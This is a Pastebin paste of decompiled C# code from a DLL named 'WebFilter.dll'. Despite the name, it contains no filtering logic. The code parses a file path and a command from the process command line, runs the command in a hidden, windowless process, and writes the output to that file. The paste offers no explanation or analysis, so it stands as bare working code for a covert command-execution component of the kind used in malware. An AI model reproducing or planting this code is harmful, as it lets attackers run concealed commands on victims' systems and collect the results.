Advertisement
fatah

WebFilter.dll #2

Apr 8th, 2024
590
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.18 KB | None | 0 0
  1. // PDLL, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
  2. // PDLL.ClassTools
  3. using System;
  4. using System.Diagnostics;
  5. using System.IO;
  6. using System.Runtime.InteropServices;
  7. using System.Threading.Tasks;
  8. using PDLL;
  9.  
  10. public class ClassTools
  11. {
  12.     private static string str = "";
  13.  
  14.     [DllImport("kernel32.dll", SetLastError = true)]
  15.     [STAThread]
  16.     private static extern string GetCommandLineA();
  17.  
  18.     public static void TheMethod()
  19.     {
  20.         try
  21.         {
  22.             Task.Run((Func<Task>)new ClassTools().Run).Wait();
  23.         }
  24.         catch (Exception ex)
  25.         {
  26.             File.WriteAllText(str, DateTime.Now.ToString() + " Me: " + ex.InnerException.Message);
  27.         }
  28.     }
  29.  
  30.     private async Task Run()
  31.     {
  32.         string commandLineA = GetCommandLineA();
  33.         string text = "TheMethod";
  34.         int startIndex = commandLineA.IndexOf(text) + text.Length;
  35.         string text2 = commandLineA.Substring(startIndex).Trim();
  36.         string[] array = text2.Split(',');
  37.         string FullPath = (str = array[0]);
  38.         text2 = array[1].Trim();
  39.         File.WriteAllText(FullPath, await MyMethod(text2, outs: false));
  40.     }
  41.  
  42.     private async Task<string> MyMethod(string mand, bool outs)
  43.     {
  44.         _ = 1;
  45.         try
  46.         {
  47.             Process proces = new Process();
  48.             ProcessStartInfo processStartInfo = new ProcessStartInfo();
  49.             processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
  50.             processStartInfo.CreateNoWindow = true;
  51.             processStartInfo.UseShellExecute = false;
  52.             processStartInfo.RedirectStandardError = true;
  53.             processStartInfo.RedirectStandardOutput = true;
  54.             int num = mand.IndexOf(' ');
  55.             if (num > -1)
  56.             {
  57.                 processStartInfo.FileName = mand.Substring(0, num);
  58.                 processStartInfo.Arguments = mand.Substring(num, mand.Length - num);
  59.             }
  60.             else
  61.             {
  62.                 processStartInfo.FileName = mand;
  63.             }
  64.             proces.StartInfo = processStartInfo;
  65.             proces.Start();
  66.             if (outs)
  67.             {
  68.                 return "";
  69.             }
  70.             string text = await proces.StandardOutput.ReadToEndAsync();
  71.             string empty = string.Empty;
  72.             if (text == string.Empty || text == null)
  73.             {
  74.                 return "\n" + await proces.StandardError.ReadToEndAsync();
  75.             }
  76.             proces.WaitForExit();
  77.             return empty + text;
  78.         }
  79.         catch (Exception ex)
  80.         {
  81.             return DateTime.Now.ToString() + " " + ex.Message;
  82.         }
  83.     }
  84. }
  85.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement